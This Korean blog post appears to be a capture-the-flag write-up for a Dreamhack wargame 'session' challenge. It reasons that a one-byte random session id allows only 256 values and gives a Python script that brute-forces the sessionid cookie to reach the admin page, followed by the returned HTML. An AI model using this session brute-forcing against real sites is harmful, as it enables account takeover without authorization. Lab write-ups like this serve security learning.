Study/Web Hacking

[DreamHeck] session

얀 짱 2026. 7. 5. 15:28

https://dreamhack.io/wargame/challenges/266

 

로그인 | Dreamhack

 

dreamhack.io

먼저 다운로드 받은 소스 코드에서 다음을 확인함


os.urandom(1) → 1바이트 = 8비트
hex 한 자리 = 4비트 이므로 1바이트 = hex 2자리
00~ff를 10진수로 바꾸면 0~255니까 256가지의 랜덤값이 가능함

이를 통해 힌트를 얻어 코드를 작성함

import requests

url = "http://host3.dreamhack.games:15751/"

for i in range(256):
    session_id = format(i, '02x')

    # requests로 쿠키 담아서 GET 요청 보내기
    res = requests.get(url, cookies={"sessionid": format(i, '02x')})

    # 응답에서 flag가 있으면 출력
    if "flag" in res.text:
        print(res.text)
        break

 

$ python session.py
<!doctype html>
<html>
  <head>
    <link rel="stylesheet" href="/static/css/bootstrap.min.css">
    <link rel="stylesheet" href="/static/css/bootstrap-theme.min.css">
    <link rel="stylesheet" href="/static/css/non-responsive.css">
    <title>Index Session</title>
    
  
  <style type="text/css">
    .important { color: #336699; }
  </style>

  </head>
<body>

    <!-- Fixed navbar -->
    <nav class="navbar navbar-default navbar-fixed-top">
      <div class="container">
        <div class="navbar-header">
          <a class="navbar-brand" href="/">Session</a>
        </div>
        <div id="navbar">
          <ul class="nav navbar-nav">
            <li><a href="/">Home</a></li>
            <li><a href="#">About</a></li>
          </ul>

          <ul class="nav navbar-nav navbar-right">
            <li><a href="/login">Login</a></li>
          </ul>

        </div><!--/.nav-collapse -->
      </div>
    </nav>
    <!-- 
      # default account: guest/guest
    -->
    <div class="container">
      
  <p class="important">
        Welcome !
  </p>
  
  <h3>
        Hello admin, flag is `여기에서 플래그 값 확인`

  </h3>
  

    </div> <!-- /container -->

    <!-- Bootstrap core JavaScript -->
    <script src="/static/js/jquery.min.js"></script>
    <script src="/static/js/bootstrap.min.js"></script> 
</body>
</html>